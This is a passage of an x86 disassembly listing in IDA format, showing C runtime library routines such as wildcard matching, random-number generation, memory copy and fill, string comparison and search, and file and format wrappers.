sub_411CF3+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_411CFD ; --------------------------------------------------------------------------- loc_411D5D: ; CODE XREF: sub_411CF3+Ej ; sub_411CF3+13j ... cmp byte ptr [esi], 2Ah jnz short loc_411D6D cmp eax, 1 jnz short loc_411D84 inc esi mov [ebp+arg_0], esi jmp short loc_411D5D ; --------------------------------------------------------------------------- loc_411D6D: ; CODE XREF: sub_411CF3+6Dj cmp eax, 1 jnz short loc_411D84 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_411D84 cmp byte ptr [esi], 0 jnz short loc_411D84 push 1 pop eax jmp short loc_411D86 ; --------------------------------------------------------------------------- loc_411D84: ; CODE XREF: sub_411CF3+72j ; sub_411CF3+7Dj ... xor eax, eax loc_411D86: ; CODE XREF: sub_411CF3+8Fj pop esi pop ebp retn sub_411CF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D89 proc near ; CODE XREF: sub_411CF3+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_411DAA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_411DAA: ; CODE XREF: sub_411D89+19j push ebx push esi loc_411DAC: ; CODE XREF: sub_411D89+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_411DBA cmp [ebp+var_4], eax jnz short loc_411E06 loc_411DBA: ; CODE XREF: sub_411D89+2Aj test edi, edi jnz short loc_411DFB cmp bl, 2Dh jnz short loc_411DEF mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_411DEF cmp al, 5Dh jz short loc_411DEF cmp [ebp+var_4], edi jnz short loc_411DEF mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_411DFB cmp bl, al jg short loc_411DFB push 1 mov [edx], esi pop edi jmp short loc_411DFB ; --------------------------------------------------------------------------- loc_411DEF: ; CODE XREF: sub_411D89+38j ; sub_411D89+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_411DFB push 1 pop edi loc_411DFB: ; CODE XREF: sub_411D89+33j ; sub_411D89+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_411DAC ; --------------------------------------------------------------------------- loc_411E06: ; CODE XREF: sub_411D89+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_411E13 mov ecx, eax sub ecx, edi mov edi, ecx loc_411E13: ; CODE XREF: sub_411D89+82j cmp edi, eax jnz short loc_411E1C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_411E1C: ; CODE XREF: sub_411D89+8Cj mov eax, edi pop edi leave retn sub_411D89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E21 proc near ; CODE XREF: sub_411CF3+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_411E3D: ; CODE XREF: sub_411E21+3Aj cmp [eax], bl jz short loc_411E5D mov cl, [ecx] cmp cl, 3Fh jz short loc_411E52 cmp cl, 2Ah jnz short loc_411E5D cmp cl, 3Fh jnz short loc_411E55 loc_411E52: ; CODE XREF: sub_411E21+25j inc eax mov [edi], eax loc_411E55: ; CODE XREF: sub_411E21+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_411E3D ; --------------------------------------------------------------------------- loc_411E5D: ; CODE XREF: sub_411E21+1Ej ; sub_411E21+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_411E68 inc dword ptr [esi] jmp short loc_411E5D ; --------------------------------------------------------------------------- loc_411E68: ; CODE XREF: sub_411E21+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_411E89 mov edx, [esi] cmp [edx], bl jz short loc_411E7A xor eax, eax jmp short loc_411EE9 ; --------------------------------------------------------------------------- loc_411E7A: ; CODE XREF: sub_411E21+53j cmp cl, bl jnz short loc_411E89 mov ecx, [esi] cmp [ecx], bl jnz short loc_411E89 push 1 pop eax jmp short loc_411EE9 ; --------------------------------------------------------------------------- loc_411E89: ; CODE XREF: sub_411E21+4Dj ; sub_411E21+5Bj ... push eax push dword ptr [esi] call sub_411CF3 pop ecx test eax, eax pop ecx jnz short loc_411ED3 loc_411E97: ; CODE XREF: sub_411E21+B0j inc dword ptr [edi] mov eax, [edi] loc_411E9B: ; CODE XREF: sub_411E21+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_411EB3 cmp cl, 5Bh jz short loc_411EB3 cmp dl, bl jz short loc_411EB3 inc eax mov [edi], eax jmp short loc_411E9B ; --------------------------------------------------------------------------- loc_411EB3: ; CODE XREF: sub_411E21+82j ; sub_411E21+87j ... mov eax, [edi] cmp [eax], bl jz short loc_411ECA push eax push dword ptr [esi] call sub_411CF3 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_411ECF ; --------------------------------------------------------------------------- loc_411ECA: ; CODE XREF: sub_411E21+96j mov [ebp+var_4], ebx xor eax, eax loc_411ECF: ; CODE XREF: sub_411E21+A7j cmp eax, ebx jnz short loc_411E97 loc_411ED3: ; CODE XREF: sub_411E21+74j mov eax, [edi] cmp [eax], bl jnz short loc_411EE6 mov eax, [esi] cmp [eax], bl jnz short loc_411EE6 mov [ebp+var_4], 1 loc_411EE6: ; CODE XREF: sub_411E21+B6j ; sub_411E21+BCj mov eax, [ebp+var_4] loc_411EE9: ; CODE XREF: sub_411E21+57j ; sub_411E21+66j pop edi pop esi pop ebx leave retn sub_411E21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411EEE proc near ; CODE XREF: sub_401000+61p ; .nsp0:004013BAp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41461C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_411F2E mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_411F3B ; --------------------------------------------------------------------------- loc_411F2E: ; CODE XREF: sub_411EEE+36j lea eax, [ebp+var_20] push eax push 0 call sub_414507 pop ecx pop ecx loc_411F3B: ; CODE XREF: sub_411EEE+3Ej mov eax, esi pop esi leave retn sub_411EEE endp ; =============== S U B R O U T I N E ======================================= sub_411F40 proc near ; CODE XREF: sub_401000+2Ep ; .nsp0:00401C1Cp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_431460, eax retn sub_411F40 endp ; =============== S U B R O U T I N E ======================================= sub_411F4A proc near ; CODE XREF: .nsp0:0040117Dp ; .nsp0:004011F1p ... mov eax, dword_431460 imul eax, 343FDh add eax, 269EC3h mov dword_431460, eax sar eax, 10h and eax, 7FFFh retn sub_411F4A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411F70 proc near ; CODE XREF: .nsp0:00401333p ; .nsp0:0040194Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_411FC3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_411FB7 neg ecx and ecx, 3 jz short loc_411F99 sub edx, ecx loc_411F93: ; CODE XREF: sub_411F70+27j mov [edi], al inc edi dec ecx jnz short loc_411F93 loc_411F99: ; CODE XREF: sub_411F70+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_411FB7 rep stosd test edx, edx jz short loc_411FBD loc_411FB7: ; CODE XREF: sub_411F70+18j ; sub_411F70+3Fj ... mov [edi], al inc edi dec edx jnz short loc_411FB7 loc_411FBD: ; CODE XREF: sub_411F70+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_411FC3: ; CODE XREF: sub_411F70+Aj mov eax, [esp+arg_0] retn sub_411F70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411FD0 proc near ; CODE XREF: .nsp0:004012DFp ; .nsp0:004012F0p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_411FF0 cmp edi, eax jb loc_412168 loc_411FF0: ; CODE XREF: sub_411FD0+16j test edi, 3 jnz short loc_41200C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41202C rep movsd jmp off_412118[edx*4] ; --------------------------------------------------------------------------- loc_41200C: ; CODE XREF: sub_411FD0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_412024 and eax, 3 add ecx, eax jmp dword ptr loc_41202C+4[eax*4] ; --------------------------------------------------------------------------- loc_412024: ; CODE XREF: sub_411FD0+46j jmp dword ptr loc_412128[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41202C: ; CODE XREF: sub_411FD0+31j ; sub_411FD0+8Ej ... jmp off_4120AC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_412040 dd offset loc_41206C dd offset loc_412090 ; --------------------------------------------------------------------------- loc_412040: ; DATA XREF: sub_411FD0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41202C rep movsd jmp off_412118[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41206C: ; DATA XREF: sub_411FD0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41202C rep movsd jmp off_412118[edx*4] ; --------------------------------------------------------------------------- align 10h loc_412090: ; DATA XREF: sub_411FD0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41202C rep movsd jmp off_412118[edx*4] ; --------------------------------------------------------------------------- align 4 off_4120AC dd offset loc_41210F ; DATA XREF: sub_411FD0:loc_41202Cr dd offset loc_4120FC dd offset loc_4120F4 dd offset loc_4120EC dd offset loc_4120E4 dd offset loc_4120DC dd offset loc_4120D4 dd offset loc_4120CC ; --------------------------------------------------------------------------- loc_4120CC: ; CODE XREF: sub_411FD0:loc_41202Cj ; DATA XREF: sub_411FD0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4120D4: ; CODE XREF: sub_411FD0:loc_41202Cj ; DATA XREF: sub_411FD0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4120DC: ; CODE XREF: sub_411FD0:loc_41202Cj ; DATA XREF: sub_411FD0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4120E4: ; CODE XREF: sub_411FD0:loc_41202Cj ; DATA XREF: sub_411FD0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4120EC: ; CODE XREF: sub_411FD0:loc_41202Cj ; DATA XREF: sub_411FD0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4120F4: ; CODE XREF: sub_411FD0:loc_41202Cj ; DATA XREF: sub_411FD0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4120FC: ; CODE XREF: sub_411FD0:loc_41202Cj ; DATA XREF: sub_411FD0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41210F: ; CODE XREF: sub_411FD0:loc_41202Cj ; DATA XREF: sub_411FD0:off_4120ACo jmp off_412118[edx*4] ; --------------------------------------------------------------------------- align 4 off_412118 dd offset loc_412128 ; DATA XREF: sub_411FD0+35r ; sub_411FD0+92r ... dd offset loc_412130 dd offset loc_41213C dd offset loc_412150 ; --------------------------------------------------------------------------- loc_412128: ; CODE XREF: sub_411FD0+35j ; sub_411FD0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_412130: ; CODE XREF: sub_411FD0+35j ; sub_411FD0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41213C: ; CODE XREF: sub_411FD0+35j ; sub_411FD0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_412150: ; CODE XREF: sub_411FD0+35j ; sub_411FD0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_412168: ; CODE XREF: sub_411FD0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41219C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_412190 std rep movsd cld jmp off_4122B0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_412190: ; CODE XREF: sub_411FD0+1B1j ; sub_411FD0+208j ... neg ecx jmp dword ptr loc_412260[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41219C: ; CODE XREF: sub_411FD0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4121B4 and eax, 3 sub ecx, eax jmp dword ptr loc_4121B4+4[eax*4] ; --------------------------------------------------------------------------- loc_4121B4: ; CODE XREF: sub_411FD0+1D6j ; DATA XREF: sub_411FD0+1DDr jmp off_4122B0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4121C7+1 dd offset loc_4121E8 ; --------------------------------------------------------------------------- adc [edx], ah inc ecx loc_4121C7: ; DATA XREF: sub_411FD0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_412190 std rep movsd cld jmp off_4122B0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4121E8: ; DATA XREF: sub_411FD0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_412190 std rep movsd cld jmp off_4122B0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_412190 std rep movsd cld jmp off_4122B0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_412264 dd offset loc_41226C dd offset loc_412274 dd offset loc_41227C dd offset loc_412284 dd offset loc_41228C ; --------------------------------------------------------------------------- xchg eax, esp and al, [ecx+0] loc_412260: ; DATA XREF: sub_411FD0+1C2r cmpsd and al, [ecx+0] loc_412264: ; DATA XREF: sub_411FD0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41226C: ; DATA XREF: sub_411FD0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_412274: ; DATA XREF: sub_411FD0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41227C: ; DATA XREF: sub_411FD0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_412284: ; DATA XREF: sub_411FD0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41228C: ; DATA XREF: sub_411FD0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4122A7: ; CODE XREF: sub_411FD0+1C2j jmp off_4122B0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4122B0 dd offset loc_4122C0 ; DATA XREF: sub_411FD0+1B7r ; sub_411FD0:loc_4121B4r ... dd offset loc_4122C8 dd offset loc_4122D8 dd offset loc_4122EC ; --------------------------------------------------------------------------- loc_4122C0: ; CODE XREF: sub_411FD0+1B7j ; sub_411FD0:loc_4121B4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4122C8: ; CODE XREF: sub_411FD0+1B7j ; sub_411FD0:loc_4121B4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4122D8: ; CODE XREF: sub_411FD0+1B7j ; sub_411FD0:loc_4121B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4122EC: ; CODE XREF: sub_411FD0+1B7j ; sub_411FD0:loc_4121B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_411FD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412310 proc near ; CODE XREF: .nsp0:004011AEp ; .nsp0:004011CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41235C loc_412320: ; CODE XREF: sub_412310+3Cj ; sub_412310+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_412354 or al, al jz short loc_412350 cmp ah, [ecx+1] jnz short loc_412354 or ah, ah jz short loc_412350 shr eax, 10h cmp al, [ecx+2] jnz short loc_412354 or al, al jz short loc_412350 cmp ah, [ecx+3] jnz short loc_412354 add ecx, 4 add edx, 4 or ah, ah jnz short loc_412320 mov edi, edi loc_412350: ; CODE XREF: sub_412310+18j ; sub_412310+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_412354: ; CODE XREF: sub_412310+14j ; sub_412310+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41235C: ; CODE XREF: sub_412310+Ej test edx, 1 jz short loc_412378 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_412354 inc ecx or al, al jz short loc_412350 test edx, 2 jz short loc_412320 loc_412378: ; CODE XREF: sub_412310+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_412354 or al, al jz short loc_412350 cmp ah, [ecx+1] jnz short loc_412354 or ah, ah jz short loc_412350 add ecx, 2 jmp short loc_412320 sub_412310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4123A0 proc near ; CODE XREF: .nsp0:00401250p ; .nsp0:004019E5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4123B9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4123B9: ; CODE XREF: sub_4123A0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4123A0 endp ; =============== S U B R O U T I N E ======================================= sub_4123D4 proc near ; CODE XREF: sub_41245F+4p ; sub_41AA32+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_4123DC: ; CODE XREF: sub_4123D4+34j cmp dword_4316BC, 1 jle short loc_4123F4 movzx eax, byte ptr [edi] push 8 push eax call sub_414E26 pop ecx pop ecx jmp short loc_412403 ; --------------------------------------------------------------------------- loc_4123F4: ; CODE XREF: sub_4123D4+Fj movzx eax, byte ptr [edi] mov ecx, off_4314B0 mov al, [ecx+eax*2] and eax, 8 loc_412403: ; CODE XREF: sub_4123D4+1Ej test eax, eax jz short loc_41240A inc edi jmp short loc_4123DC ; --------------------------------------------------------------------------- loc_41240A: ; CODE XREF: sub_4123D4+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41241A cmp esi, 2Bh jnz short loc_41241E loc_41241A: ; CODE XREF: sub_4123D4+3Fj movzx esi, byte ptr [edi] inc edi loc_41241E: ; CODE XREF: sub_4123D4+44j xor ebx, ebx loc_412420: ; CODE XREF: sub_4123D4+7Bj cmp dword_4316BC, 1 jle short loc_412435 push 4 push esi call sub_414E26 pop ecx pop ecx jmp short loc_412440 ; --------------------------------------------------------------------------- loc_412435: ; CODE XREF: sub_4123D4+53j mov eax, off_4314B0 mov al, [eax+esi*2] and eax, 4 loc_412440: ; CODE XREF: sub_4123D4+5Fj test eax, eax jz short loc_412451 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_412420 ; --------------------------------------------------------------------------- loc_412451: ; CODE XREF: sub_4123D4+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41245A neg eax loc_41245A: ; CODE XREF: sub_4123D4+82j pop edi pop esi pop ebp pop ebx retn sub_4123D4 endp ; =============== S U B R O U T I N E ======================================= sub_41245F proc near ; CODE XREF: sub_4013E9+12p ; sub_4013E9+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4123D4 pop ecx retn sub_41245F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41246A proc near ; CODE XREF: sub_40211A+B9p ; .nsp0:00402792p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41461C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4124A9 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4124B6 ; --------------------------------------------------------------------------- loc_4124A9: ; CODE XREF: sub_41246A+35j lea eax, [ebp+var_20] push eax push 0 call sub_414507 pop ecx pop ecx loc_4124B6: ; CODE XREF: sub_41246A+3Dj mov eax, esi pop esi leave retn sub_41246A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4124C0 proc near ; CODE XREF: .nsp0:00402717p ; .nsp0:00402735p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41253A mov dh, [ecx+1] test dh, dh jz short loc_412527 loc_4124D8: ; CODE XREF: sub_4124C0+52j ; sub_4124C0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4124FA test al, al jz short loc_4124F4 loc_4124E9: ; CODE XREF: sub_4124C0+32j mov al, [esi] inc esi loc_4124EC: ; CODE XREF: sub_4124C0+3Fj cmp al, dl jz short loc_4124FA test al, al jnz short loc_4124E9 loc_4124F4: ; CODE XREF: sub_4124C0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4124FA: ; CODE XREF: sub_4124C0+23j ; sub_4124C0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4124EC lea edi, [esi-1] loc_412504: ; CODE XREF: sub_4124C0+63j mov ah, [ecx+2] test ah, ah jz short loc_412533 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_4124D8 mov al, [ecx+3] test al, al jz short loc_412533 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_412504 jmp short loc_4124D8 ; --------------------------------------------------------------------------- loc_412527: ; CODE XREF: sub_4124C0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_414146 ; --------------------------------------------------------------------------- loc_412533: ; CODE XREF: sub_4124C0+49j ; sub_4124C0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41253A: ; CODE XREF: sub_4124C0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_4124C0 endp ; =============== S U B R O U T I N E ======================================= sub_412540 proc near ; CODE XREF: sub_40211A+94p ; sub_4040DB+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_412555 or eax, 0FFFFFFFFh jmp short loc_41258F ; --------------------------------------------------------------------------- loc_412555: ; CODE XREF: sub_412540+Ej test al, 83h jz short loc_41258D push esi call sub_414FB4 push esi mov edi, eax call sub_414F4E push dword ptr [esi+10h] call sub_414E9B add esp, 0Ch test eax, eax jge short loc_41257B or edi, 0FFFFFFFFh jmp short loc_41258D ; --------------------------------------------------------------------------- loc_41257B: ; CODE XREF: sub_412540+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41258D push eax call sub_412813 and dword ptr [esi+1Ch], 0 pop ecx loc_41258D: ; CODE XREF: sub_412540+17j ; sub_412540+39j ... mov eax, edi loc_41258F: ; CODE XREF: sub_412540+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_412540 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412596 proc near ; CODE XREF: sub_40211A+8Ep ; .nsp0:0040C923p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_415086 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41461C push [ebp+arg_0] mov edi, eax push esi call sub_415113 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_412596 endp ; =============== S U B R O U T I N E ======================================= sub_4125C8 proc near ; CODE XREF: sub_4125E8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_4152C0 test eax, eax jnz short loc_4125D2 retn ; --------------------------------------------------------------------------- loc_4125D2: ; CODE XREF: sub_4125C8+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_415150 add esp, 10h retn sub_4125C8 endp ; =============== S U B R O U T I N E ======================================= sub_4125E8 proc near ; CODE XREF: sub_40211A+54p ; sub_4040DB+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_4125C8 add esp, 0Ch retn sub_4125E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412600 proc near ; CODE XREF: sub_404175+2BFp ; sub_40787E+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_412671 sub_412600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_412610 proc near ; CODE XREF: sub_40211A+32p ; sub_40211A+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41262C loc_41261D: ; CODE XREF: sub_412610+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41265F test ecx, 3 jnz short loc_41261D loc_41262C: ; CODE XREF: sub_412610+Bj ; sub_412610+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41262C mov eax, [ecx-4] test al, al jz short loc_41266E test ah, ah jz short loc_412669 test eax, 0FF0000h jz short loc_412664 test eax, 0FF000000h jz short loc_41265F jmp short loc_41262C ; --------------------------------------------------------------------------- loc_41265F: ; CODE XREF: sub_412610+12j ; sub_412610+4Bj lea edi, [ecx-1] jmp short loc_412671 ; --------------------------------------------------------------------------- loc_412664: ; CODE XREF: sub_412610+44j lea edi, [ecx-2] jmp short loc_412671 ; --------------------------------------------------------------------------- loc_412669: ; CODE XREF: sub_412610+3Dj lea edi, [ecx-3] jmp short loc_412671 ; --------------------------------------------------------------------------- loc_41266E: ; CODE XREF: sub_412610+39j lea edi, [ecx-4] loc_412671: ; CODE XREF: sub_412600+5j ; sub_412610+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_412696 loc_41267D: ; CODE XREF: sub_412610+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_4126E8 mov 